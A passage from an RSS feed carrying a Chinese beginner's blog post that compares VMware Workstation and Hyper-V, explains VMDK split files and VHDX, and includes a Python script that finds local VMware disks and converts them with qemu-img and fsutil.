<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/scripts/pretty-feed-v3.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:h="http://www.w3.org/TR/html4/"><channel><title>毅种循环</title><description>不值一提的記錄和多餘的廢話 / 隨意更新 / 隨時可能會 404 / 歡迎友好交流</description><link>https://astro-pure.js.org</link><item><title>VMware 与 Hyper-V 基础扫盲：差异、迁移与脚本实战</title><link>https://astro-pure.js.org/blog/vmware-vs-hyper-v-migration-guide</link><guid isPermaLink="true">https://astro-pure.js.org/blog/vmware-vs-hyper-v-migration-guide</guid><description>一篇面向入门者的 VMware 与 Hyper-V 对比文章，讲清架构差异、VMDK 与 VHDX、迁移思路，并附 VMDK 转 VHDX Python 脚本。</description><pubDate>Thu, 19 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;很多人第一次接触虚拟机，都是从 VMware Workstation 开始的。它安装方便、资料多、界面也直观，所以无论是装测试环境、做开发、跑实验机，还是折腾一些旧系统，VMware 都是很常见的入门选择。&lt;/p&gt;
&lt;p&gt;但用久了之后，很多人会开始遇到几个现实问题：Windows 自带的虚拟化能力越来越强、WSL2 和 Windows Sandbox 都依赖 Hyper-V、某些安全功能会和 VMware 争抢虚拟化支持、迁移旧虚拟机时又会碰到一堆看不懂的磁盘文件。这个时候，问题就会变得很实际：&lt;/p&gt;
&lt;p&gt;VMware 和 Hyper-V 到底有什么区别？什么时候该继续用 VMware，什么时候又值得迁到 Hyper-V？&lt;/p&gt;
&lt;p&gt;这篇文章尽量不用太夸张的表达，而是按“基础扫盲”的思路，把下面几件事讲清楚：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;VMware Workstation 和 Hyper-V 分别是什么&lt;/li&gt;
&lt;li&gt;两者底层架构到底差在哪&lt;/li&gt;
&lt;li&gt;日常使用时，体验会体现在哪些地方&lt;/li&gt;
&lt;li&gt;为什么 VMware 目录里经常会出现一堆零碎的 &lt;code&gt;.vmdk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;把 VMware 虚拟机迁到 Hyper-V 时，应该怎么理解磁盘转换&lt;/li&gt;
&lt;li&gt;仓库里的 &lt;code&gt;vmdk_to_vhdx.py&lt;/code&gt; 脚本到底做了什么&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果你只是想先建立一个基本认知，这篇文章就够用了。如果你已经准备迁移，文末也给了比较实用的操作建议和完整脚本。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;一、先把概念说清楚：虚拟机到底是什么&lt;/h2&gt;
&lt;p&gt;虚拟机本质上就是“在一台真实电脑里，再模拟出一台电脑”。这台模拟出来的电脑可以有自己的 CPU、内存、硬盘、网卡、BIOS 或 UEFI，然后在里面安装另一个操作系统。&lt;/p&gt;
&lt;p&gt;比如你现在用的是 Windows 11 主机，但你可以在虚拟机里再装一个 Ubuntu、Windows Server，甚至是更老的系统。这样做的好处很明显：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;不影响主机环境&lt;/li&gt;
&lt;li&gt;方便测试软件和配置&lt;/li&gt;
&lt;li&gt;适合做开发、学习、实验和隔离&lt;/li&gt;
&lt;li&gt;出问题了可以删掉重来&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;而 VMware Workstation、Hyper-V 这样的工具，扮演的就是“虚拟机管理者”的角色。更准确一点说，它们属于 Hypervisor，也就是虚拟化平台。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;二、VMware Workstation 和 Hyper-V 分别是什么&lt;/h2&gt;
&lt;h3&gt;1. VMware Workstation&lt;/h3&gt;
&lt;p&gt;VMware Workstation 是桌面端非常成熟的虚拟化产品。它的优点主要有这些：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;上手门槛低&lt;/li&gt;
&lt;li&gt;图形界面完整&lt;/li&gt;
&lt;li&gt;对旧系统、老镜像的兼容性通常不错&lt;/li&gt;
&lt;li&gt;很多人手里本来就积累了大量 VMware 格式的虚拟机&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果你的主要诉求是“在自己的电脑上方便地开几个虚拟机”，VMware Workstation 一直都是一个比较稳妥的方案。&lt;/p&gt;
&lt;h3&gt;2. Hyper-V&lt;/h3&gt;
&lt;p&gt;Hyper-V 是微软提供的虚拟化平台，集成在 Windows 专业版、企业版和 Windows Server 中。它不是单纯“装一个虚拟机软件”那么简单，而更像系统级能力。&lt;/p&gt;
&lt;p&gt;这也是为什么很多 Windows 相关功能都会和它绑定，比如：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;WSL2&lt;/li&gt;
&lt;li&gt;Windows Sandbox&lt;/li&gt;
&lt;li&gt;一部分基于虚拟化的安全特性&lt;/li&gt;
&lt;li&gt;Windows Server 场景下的原生虚拟化管理&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果你长期在 Windows 体系内工作，尤其是开发、运维、测试或者安全研究相关工作，Hyper-V 的存在感会越来越强。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;三、两者最大的差别：底层架构不一样&lt;/h2&gt;
&lt;p&gt;理解 VMware 和 Hyper-V 的关键，不在界面，而在架构。&lt;/p&gt;
&lt;h3&gt;1. VMware Workstation 更接近宿主型虚拟化&lt;/h3&gt;
&lt;p&gt;可以把它理解为：它运行在你的 Windows 之上。虽然底层也会调用硬件虚拟化能力，但从使用感知上看，它仍然像一个“运行在宿主系统里的大型应用”。&lt;/p&gt;
&lt;p&gt;这种方式的好处是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;安装和卸载更直观&lt;/li&gt;
&lt;li&gt;对个人用户更友好&lt;/li&gt;
&lt;li&gt;和桌面环境结合得比较自然&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;它的代价也很明显：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;某些场景下会和 Windows 自己的虚拟化能力产生冲突&lt;/li&gt;
&lt;li&gt;在系统底层资源调度上，不如原生虚拟化方案那样直接&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. Hyper-V 更接近系统级、原生的虚拟化层&lt;/h3&gt;
&lt;p&gt;开启 Hyper-V 之后，Windows 的角色其实会发生变化。简单说，不再是“Windows 运行了一个虚拟机软件”，而更像是“Windows 本身也运行在 Hyper-V 管理的环境里”。&lt;/p&gt;
&lt;p&gt;这件事对新手来说最容易混淆，但理解之后，你会更容易明白下面这些现象：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;为什么启用 Hyper-V 后，某些依赖 VT-x 或 AMD-V 的软件表现会变化&lt;/li&gt;
&lt;li&gt;为什么 WSL2 和 Sandbox 要依赖它&lt;/li&gt;
&lt;li&gt;为什么 Hyper-V 在 Windows 生态里的整合度更高&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;你不一定要记住非常严谨的虚拟化术语，但至少要知道：这两者不是“同类软件换个皮肤”，而是设计思路本来就不一样。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;四、作为普通用户，实际体验上会差在哪&lt;/h2&gt;
&lt;p&gt;如果不聊架构，只看日常使用，可以先用下面这个表快速理解：&lt;/p&gt;
&lt;p&gt;| 对比项 | VMware Workstation | Hyper-V |
| --- | --- | --- |
| 上手体验 | 更像普通桌面软件 | 更像系统功能 |
| Windows 生态整合 | 一般 | 很强 |
| 对旧虚拟机兼容 | 通常更友好 | 迁移时可能需要调整 |
| 磁盘格式 | 常见为 VMDK | 常见为 VHD / VHDX |
| 网络配置 | 图形化较直观 | 功能强，但概念更多 |
| 与 WSL2 / Sandbox 协同 | 可能有兼容问题 | 原生协同 |
| 适合人群 | 个人学习、桌面实验 | Windows 深度用户、开发运维、服务器场景 |&lt;/p&gt;
&lt;h3&gt;什么情况下更适合继续用 VMware&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;你已经积累了很多 VMware 虚拟机模板&lt;/li&gt;
&lt;li&gt;你主要是个人桌面使用，不依赖 Hyper-V 生态&lt;/li&gt;
&lt;li&gt;你更在意“开箱即用”和旧环境兼容&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;什么情况下更值得迁到 Hyper-V&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;你本来就在 Windows 专业版或服务器环境里工作&lt;/li&gt;
&lt;li&gt;你需要 WSL2、Sandbox、容器、虚拟化安全等能力协同&lt;/li&gt;
&lt;li&gt;你希望虚拟化方案尽量和 Windows 原生体系保持一致&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这不是谁绝对更强，而是你的使用场景变了，适合的工具也会跟着变。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;五、为什么 VMware 目录里总有一堆奇怪的磁盘文件&lt;/h2&gt;
&lt;p&gt;很多人迁移虚拟机时，最先被劝退的不是 Hyper-V，而是 VMware 自己那堆磁盘文件名。&lt;/p&gt;
&lt;p&gt;你本来以为虚拟机硬盘应该就是一个文件，结果目录里却出现了：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;xxx.vmdk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;xxx-flat.vmdk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;xxx-s001.vmdk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;xxx-f001.vmdk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;还有可能出现快照相关文件&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这其实很正常，因为 &lt;code&gt;VMDK&lt;/code&gt; 不是单指“一个样子的文件”，而是一类磁盘格式。&lt;/p&gt;
&lt;h3&gt;1. 主 VMDK 和数据 VMDK 不是一回事&lt;/h3&gt;
&lt;p&gt;有些 &lt;code&gt;.vmdk&lt;/code&gt; 文件本身并不装真正的数据，它更像一个描述文件，记录这个虚拟磁盘应该去哪里找实际内容。&lt;/p&gt;
&lt;p&gt;真正的大块数据，可能被放在：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;一个单独的大文件里&lt;/li&gt;
&lt;li&gt;多个拆分的小文件里&lt;/li&gt;
&lt;li&gt;一个 &lt;code&gt;-flat.vmdk&lt;/code&gt; 文件里&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;所以你看到一个体积很小的 &lt;code&gt;.vmdk&lt;/code&gt;，不要急着觉得它“没内容”。它有可能只是索引入口。&lt;/p&gt;
&lt;h3&gt;2. 为什么会拆成很多段&lt;/h3&gt;
&lt;p&gt;历史上，一个很常见的原因是兼容文件系统限制，比如早期 FAT32 对单文件大小有限制。后来这种拆分方式也被保留下来，方便搬运、复制或者某些工具链处理。&lt;/p&gt;
&lt;p&gt;常见情况包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-s001.vmdk&lt;/code&gt;：通常表示拆分的动态扩展磁盘&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-f001.vmdk&lt;/code&gt;：通常出现在预分配、拆分存储的场景&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-flat.vmdk&lt;/code&gt;：常见于描述文件配套的大数据文件&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;对迁移来说，最重要的一点不是把所有分片一个个手动处理，而是先找到“真正的入口文件”。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;六、VMDK 和 VHDX 到底有什么区别&lt;/h2&gt;
&lt;p&gt;迁移 VMware 到 Hyper-V，本质上最核心的一步，就是把 &lt;code&gt;VMDK&lt;/code&gt; 转成 &lt;code&gt;VHDX&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;1. VMDK 是 VMware 常见的磁盘格式&lt;/h3&gt;
&lt;p&gt;它的特点是生态成熟、历史包袱也比较多。它支持多种组织方式，所以灵活，但也容易让新手困惑。&lt;/p&gt;
&lt;h3&gt;2. VHDX 是 Hyper-V 更推荐使用的格式&lt;/h3&gt;
&lt;p&gt;相较于更老的 VHD，&lt;code&gt;VHDX&lt;/code&gt; 可以理解成更新一代的格式，适合现在的 Windows 和 Hyper-V 环境。它通常有这些优势：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;支持更大的磁盘容量&lt;/li&gt;
&lt;li&gt;对异常断电、元数据保护等场景更友好&lt;/li&gt;
&lt;li&gt;在 Hyper-V 环境里兼容性更好&lt;/li&gt;
&lt;li&gt;更符合微软当前的虚拟化使用习惯&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;从迁移目标来看，你一般不需要执着于“保留 VMware 原来的磁盘组织方式”，而是应该尽量把它整理成 Hyper-V 更容易接纳的 VHDX。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;七、为什么有的人迁移后能开机，有的人会报错&lt;/h2&gt;
&lt;p&gt;磁盘格式转换只是第一步。即使你成功把 &lt;code&gt;VMDK&lt;/code&gt; 转成了 &lt;code&gt;VHDX&lt;/code&gt;，虚拟机能不能顺利启动，还取决于几个容易被忽略的因素。&lt;/p&gt;
&lt;h3&gt;1. 虚拟机代数不匹配&lt;/h3&gt;
&lt;p&gt;Hyper-V 创建虚拟机时，最常见的选择之一就是“第 1 代”还是“第 2 代”。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;第 1 代更接近传统 BIOS 启动&lt;/li&gt;
&lt;li&gt;第 2 代更接近 UEFI 启动&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果你迁移的是比较老的 Linux、老 Windows Server，或者原本就是传统 BIOS 安装的系统，往往应该优先尝试第 1 代。&lt;/p&gt;
&lt;p&gt;很多“明明磁盘已经转好了但就是黑屏”的问题，最后都不是磁盘损坏，而是代数选错了。&lt;/p&gt;
&lt;h3&gt;2. 控制器类型变化&lt;/h3&gt;
&lt;p&gt;原虚拟机里使用的磁盘控制器、网卡类型、启动顺序，迁移到新平台后未必一模一样。有些系统驱动比较宽容，有些系统则比较敏感。&lt;/p&gt;
&lt;h3&gt;3. 快照链没有理清&lt;/h3&gt;
&lt;p&gt;如果原 VMware 虚拟机存在快照，那么你看到的那个 &lt;code&gt;.vmdk&lt;/code&gt; 可能不是一块完整磁盘，而是一条链上的某个节点。这种情况下，直接抓错文件去转，最后得到的结果就可能不完整，甚至无法启动。&lt;/p&gt;
&lt;p&gt;所以迁移前，最好先确认：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;当前虚拟机有没有快照&lt;/li&gt;
&lt;li&gt;你拿去转换的，是不是当前正在使用的那块磁盘入口&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;八、磁盘转换这件事，到底是在做什么&lt;/h2&gt;
&lt;p&gt;很多教程只会告诉你“运行某条命令”，但不知道原理，出了问题就很难定位。&lt;/p&gt;
&lt;p&gt;实际上，转换工具做的事情可以概括为三步：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;读取 VMware 的磁盘描述信息&lt;/li&gt;
&lt;li&gt;按顺序把底层数据块重新拼起来&lt;/li&gt;
&lt;li&gt;用目标格式重新写出一块新的虚拟磁盘&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;也就是说，转换不是简单改后缀名，而是一次“重新组织磁盘结构”的过程。&lt;/p&gt;
&lt;p&gt;在这个场景里，&lt;code&gt;qemu-img&lt;/code&gt; 是非常常用的命令行工具，因为它支持的磁盘格式很多，而且处理这类跨平台转换比较稳定。&lt;/p&gt;
&lt;p&gt;一个典型的转换命令像这样：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;qemu-img convert -f vmdk -O vhdx &quot;源磁盘.vmdk&quot; &quot;目标磁盘.vhdx&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里有一个关键点：你传给 &lt;code&gt;qemu-img&lt;/code&gt; 的，通常应该是那个主入口 &lt;code&gt;.vmdk&lt;/code&gt;，而不是随便挑一个 &lt;code&gt;-s001.vmdk&lt;/code&gt; 或 &lt;code&gt;-f001.vmdk&lt;/code&gt; 分片。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;九、为什么转换完以后，Hyper-V 还是可能不满意&lt;/h2&gt;
&lt;p&gt;有些人已经成功生成了 &lt;code&gt;.vhdx&lt;/code&gt;，结果在 Hyper-V 里做检查点或进一步操作时还是报错。这类问题里，一个比较常见的原因是文件系统层面的“稀疏属性”。&lt;/p&gt;
&lt;p&gt;简单理解就是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;某些工具在生成磁盘文件时，会让 NTFS 把这个文件标记成一种节省空间的稀疏文件&lt;/li&gt;
&lt;li&gt;但 Hyper-V 某些场景下对这种属性并不友好&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果确实遇到这类问题，可以尝试用 Windows 自带的 &lt;code&gt;fsutil&lt;/code&gt; 去清理这个标记：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;fsutil sparse setflag &quot;目标磁盘.vhdx&quot; 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这不是所有人都一定会遇到的问题，但如果你已经能确定磁盘转换成功、文件也没坏，Hyper-V 却还是在检查点或磁盘操作时报错，这就是一个值得排查的方向。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;十、仓库里的 &lt;code&gt;vmdk_to_vhdx.py&lt;/code&gt; 脚本在做什么&lt;/h2&gt;
&lt;p&gt;如果你不想手动一个个去找磁盘、一个个敲命令，那么当前目录里的 &lt;code&gt;vmdk_to_vhdx.py&lt;/code&gt; 脚本就是为了简化这个过程。&lt;/p&gt;
&lt;p&gt;它的思路可以概括为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;扫描本机磁盘，寻找可能的 VMware 虚拟机目录&lt;/li&gt;
&lt;li&gt;尽量避开明显的分片数据文件，只保留更可能正确的主 &lt;code&gt;.vmdk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;调用 &lt;code&gt;qemu-img&lt;/code&gt; 把它们转换成 &lt;code&gt;.vhdx&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;在需要时调用 &lt;code&gt;fsutil&lt;/code&gt; 清理稀疏属性&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;也就是说，它做的不是“发明一种新的转换方式”，而是把原本你需要手工完成的几步流程串了起来。&lt;/p&gt;
&lt;h3&gt;1. 这个脚本适合什么场景&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;本机上散落着多个 VMware 虚拟机目录，不想手动翻找&lt;/li&gt;
&lt;li&gt;目录里拆分磁盘很多，怕拿错入口文件&lt;/li&gt;
&lt;li&gt;想把“扫描、转换、修正属性”这几步自动化&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. 使用前先确认两件事&lt;/h3&gt;
&lt;p&gt;第一，系统里已经安装 &lt;code&gt;qemu-img&lt;/code&gt;，而且已经加到环境变量里。&lt;/p&gt;
&lt;p&gt;第二，建议使用管理员权限打开 PowerShell 或命令提示符。这样脚本在执行 &lt;code&gt;fsutil sparse setflag&lt;/code&gt; 时更不容易因为权限问题失败。&lt;/p&gt;
&lt;h3&gt;3. 运行方式&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;python .\vmdk_to_vhdx.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果你是第一次迁移，更建议先拿一台不重要的测试虚拟机做实验。这样可以先验证自己的磁盘选择、代数选择、启动方式判断是否正确，而不是一上来就拿最重要的工作环境开刀。&lt;/p&gt;
&lt;h3&gt;4. 完整脚本&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import os
import subprocess
import ctypes
import sys
import re
from pathlib import Path

def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False

def check_dependencies():
    print(&quot;[*] 正在检查依赖环境...&quot;)
    # 检查 qemu-img
    try:
        subprocess.run([&apos;qemu-img&apos;, &apos;--version&apos;], stdout=subprocess.PIPE, stderr=subprocess.PIPE, check=True)
        print(&quot;[+] qemu-img 已安装，状态正常。&quot;)
    except FileNotFoundError:
        print(&quot;[-] 错误：找不到 &apos;qemu-img&apos; 命令。&quot;)
        print(&quot;    请确保您已经安装了 QEMU 并将其添加到了系统的 PATH 环境变量中。&quot;)
        print(&quot;    下载地址: https://qemu.weilnetz.de/w64/&quot;)
        sys.exit(1)
    
    # 检查管理员权限
    if not is_admin():
        print(&quot;[!] 警告：当前未以管理员权限运行！&quot;)
        print(&quot;    执行 `fsutil sparse setflag` 命令可能需要管理员权限。&quot;)
        print(&quot;    建议您以管理员身份重新运行此终端/控制台，或者忽略此警告继续。&quot;)
        choice = input(&quot;    是否继续运行？(y/n) [n]: &quot;).strip().lower()
        if choice != &apos;y&apos;:
            sys.exit(0)
    else:
        print(&quot;[+] 管理员权限检查通过。&quot;)

def find_vmdk_files():
    print(&quot;\n[*] 正在全盘深度扫描存在的虚拟机配置文件 (.vmx) ... (这可能需要几分钟，请耐心等待)&quot;)
    drives = [chr(x) + &apos;:\\&apos; for x in range(ord(&apos;C&apos;), ord(&apos;Z&apos;)+1) if os.path.exists(chr(x) + &apos;:\\&apos;)]
    
    vmdk_targets = []
    
    # 我们首选寻找 .vmx 配置文件，从而定位主磁盘，这样可以避免被数百个拆分文件淹没
    for drive in drives:
        print(f&quot;    正在扫描 {drive} 驱动器...&quot;)
        # 排除一些系统和缓存目录加速搜索
        exclude_dirs = [&apos;$Recycle.Bin&apos;, &apos;Windows&apos;, &apos;Program Files&apos;, &apos;Program Files (x86)&apos;, &apos;ProgramData&apos;, &apos;AppData&apos;]
        
        for root, dirs, files in os.walk(drive):
            dirs[:] = [d for d in dirs if d not in exclude_dirs]
            
            for file in files:
                if file.endswith(&apos;.vmx&apos;):
                    vmx_path = os.path.join(root, file)
                    try:
                        with open(vmx_path, &apos;r&apos;, encoding=&apos;utf-8&apos;, errors=&apos;ignore&apos;) as f:
                            content = f.read()
                            # 尝试解析 scsi0:0.fileName 等常见的磁盘挂载点
                            match = re.search(r&apos;fileName\\s*=\\s*&quot;([^&quot;]+\\.vmdk)&quot;&apos;, content)
                            if match:
                                vmdk_name = match.group(1)
                                full_vmdk_path = os.path.join(root, vmdk_name)
                                full_vmdk_path = os.path.normpath(full_vmdk_path)
                                if os.path.exists(full_vmdk_path):
                                    vmdk_targets.append(full_vmdk_path)
                    except Exception as e:
                        pass
                        
                # 同时也寻找一下独立的 vmdk，但是要排除雷电模拟器和分块文件 (-s001.vmdk)
                if file.endswith(&apos;.vmdk&apos;):
                    # 过滤掉常见的拆分文件特征 (-s001.vmdk, -f001.vmdk, -flat.vmdk 等)
                    if re.search(r&apos;-(s\\d{3}|f\\d{3}|flat|\\d+)\\.vmdk$&apos;, file.lower()):
                        continue
                    if &apos;ldplayer&apos; in root.lower() or &apos;leidian&apos; in root.lower():
                        continue
                        
                    full_vmdk_path = os.path.join(root, file)
                    # 去重，如果前面通过 vmx 已经找到了这个，就不再添加
                    if full_vmdk_path not in vmdk_targets:
                         vmdk_targets.append(full_vmdk_path)

    # 去重
    vmdk_targets = list(set(vmdk_targets))
    return vmdk_targets

def convert_vmdk(vmdk_path):
    print(f&quot;\n[{&apos;=&apos;*50}]&quot;)
    print(f&quot;[*] 开始处理: {vmdk_path}&quot;)
    
    vmdk_path_obj = Path(vmdk_path)
    base_dir = vmdk_path_obj.parent
    base_name = vmdk_path_obj.stem
    
    vhdx_name = f&quot;{base_name}.vhdx&quot;
    vhdx_path = base_dir / vhdx_name
    
    # 冲突处理：如果 vhdx 已存在，添加自动编号
    counter = 1
    while vhdx_path.exists():
        vhdx_name = f&quot;{base_name}_{counter}.vhdx&quot;
        vhdx_path = base_dir / vhdx_name
        counter += 1
        
    print(f&quot;[*] 目标输出: {vhdx_path}&quot;)
    
    # 第一步：转换磁盘格式 (qemu-img)
    cmd_convert = [&apos;qemu-img&apos;, &apos;convert&apos;, &apos;-p&apos;, &apos;-f&apos;, &apos;vmdk&apos;, &apos;-O&apos;, &apos;vhdx&apos;, str(vmdk_path), str(vhdx_path)]
    print(f&quot;[*] [1/2] 正在进行动态扩展格式转换 (这可能需要较长时间，请不要关闭窗口)...&quot;)
    print(f&quot;    &gt; {&apos; &apos;.join(cmd_convert)}&quot;)
    
    try:
        # 使用 stdout=None 可以直接将 qemu-img 的进度输出到控制台
        subprocess.run(cmd_convert, check=True)
        print(&quot;[+] 格式转换完成！&quot;)
    except subprocess.CalledProcessError as e:
        print(f&quot;[-] qemu-img 转换失败。错误码: {e.returncode}&quot;)
        # 如果转换失败了，没必要继续执行 fsutil
        return False
    except FileNotFoundError:
        print(&quot;[-] 系统中未找到 qemu-img 命令。&quot;)
        return False
        
    # 第二步：去除稀疏属性 (fsutil sparse setflag)
    cmd_fsutil = [&apos;fsutil&apos;, &apos;sparse&apos;, &apos;setflag&apos;, str(vhdx_path), &apos;0&apos;]
    print(f&quot;[*] [2/2] 正在优化磁盘属性 (移除稀疏标记)...&quot;)
    print(f&quot;    &gt; {&apos; &apos;.join(cmd_fsutil)}&quot;)
    
    try:
        result = subprocess.run(cmd_fsutil, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
        if result.returncode == 0:
            print(&quot;[+] 优化成功！已成功去除稀疏属性标记。&quot;)
        else:
             print(f&quot;[-] fsutil 执行遇到问题 (可能是由于权限不足或不支持该特性):&quot;)
             print(f&quot;    输出信息: {result.stderr.strip()}&quot;)
    except FileNotFoundError:
        print(&quot;[-] 未在系统中找到 fsutil 命令，跳过属性修改环节。&quot;)

    print(f&quot;[+] &apos;{base_name}&apos; 的全部迁移步骤完成！&quot;)
    print(f&quot;    准备就绪的 Hyper-V 磁盘文件位于: {vhdx_path}&quot;)
    print(f&quot;[{&apos;=&apos;*50}]&quot;)
    return True


def main():
    print(&quot;=====================================================&quot;)
    print(&quot;      VMware (VMDK) 到 Hyper-V (VHDX) 智能迁移工具      &quot;)
    print(&quot;=====================================================\n&quot;)
    
    check_dependencies()
    
    print(&quot;\n请选择您的操作模式：&quot;)
    print(&quot; 1. 自动全盘扫描您本地的 VMware 虚拟机 (推荐)&quot;)
    print(&quot; 2. 手动指定一个 .vmdk 文件路径&quot;)
    
    try:
        mode = input(&quot;\n请输入您的选择 [1]: &quot;).strip()
    except KeyboardInterrupt:
        sys.exit(0)
        
    if mode == &apos;2&apos;:
        manual_path = input(&quot;请输入 .vmdk 文件的绝对路径（可以包含引号）: &quot;).strip()
        manual_path = manual_path.strip(&apos;&quot;&apos;).strip(&quot;&apos;&quot;)
        if os.path.exists(manual_path) and manual_path.lower().endswith(&apos;.vmdk&apos;):
            convert_vmdk(manual_path)
        else:
            print(&quot;[-] 错误：文件不存在或不是 .vmdk 文件。&quot;)
            
    else:
        vmdks = find_vmdk_files()
        
        if not vmdks:
            print(&quot;\n[-] 没有在您的磁盘上找到可识别的、主要的 .vmdk 文件。&quot;)
            print(&quot;    您可以尝试直接使用模式 2 手动输入路径来进行转换。&quot;)
            sys.exit(0)
            
        print(&quot;\n\n[*] 扫描完成！找到以下可转换的虚拟磁盘（已排除碎片文件）：&quot;)
        print(&quot;-&quot; * 70)
        for i, vmdk in enumerate(vmdks, 1):
            file_size_gb = os.path.getsize(vmdk) / (1024**3)
            print(f&quot; [{i}] {os.path.basename(vmdk)} (主索引大小/结构大小: {file_size_gb:.4f} GB)&quot;)
            print(f&quot;     路径: {vmdk}&quot;)
            print(&quot;-&quot; * 70)
            
        print(&quot;\n请输入您要转换的磁盘序号。&quot;)
        print(&quot; (支持多选，用逗号分隔，例如：1, 3, 5。 输入 &apos;all&apos; 转换全部，输入 &apos;q&apos; 退出)&quot;)
        
        try:
            choice = input(&quot;\n您的选择: &quot;).strip().lower()
        except KeyboardInterrupt:
            sys.exit(0)
            
        if choice == &apos;q&apos; or not choice:
            print(&quot;已取消退出。&quot;)
            sys.exit(0)
            
        selected_indexes = []
        if choice == &apos;all&apos;:
            selected_indexes = list(range(1, len(vmdks) + 1))
        else:
            try:
                # 解析用户输入的数字列表，如 &apos;1,2,3&apos; -&gt; [1, 2, 3]
                parts = choice.split(&apos;,&apos;)
                for p in parts:
                    idx = int(p.strip())
                    if 1 &amp;#x3C;= idx &amp;#x3C;= len(vmdks):
                        selected_indexes.append(idx)
            except ValueError:
                print(&quot;[-] 您的输入格式有误，请重新运行脚本。&quot;)
                sys.exit(1)
                
        if not selected_indexes:
            print(&quot;[-] 未选择任何有效的序号。程序退出。&quot;)
            sys.exit(1)
            
        print(f&quot;\n[*] 您选择了 {len(selected_indexes)} 个虚拟机进行排队转换。&quot;)
        for idx in selected_indexes:
            target_vmdk = vmdks[idx - 1]
            convert_vmdk(target_vmdk)
            
    print(&quot;\n[+] 所有指定的任务已运行完毕。&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从文章角度看，这段脚本最有价值的地方，不是代码技巧有多复杂，而是它把“找入口文件”这件最容易出错的事自动化了。很多人迁移失败，问题不在转换命令本身，而是在最开始就拿错了 &lt;code&gt;.vmdk&lt;/code&gt;。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;十一、迁移到 Hyper-V 之前，建议先做这几个检查&lt;/h2&gt;
&lt;p&gt;这部分很基础，但很有用，能帮你少踩很多坑。&lt;/p&gt;
&lt;h3&gt;1. 先备份原始虚拟机目录&lt;/h3&gt;
&lt;p&gt;不要一边转换，一边删除 VMware 原文件。至少在 Hyper-V 那边确认能正常开机前，原始目录都应该保留着。&lt;/p&gt;
&lt;h3&gt;2. 尽量关闭或合并不必要的快照&lt;/h3&gt;
&lt;p&gt;快照链越复杂，迁移时出错的概率越高。能在 VMware 里先整理好的，尽量先整理。&lt;/p&gt;
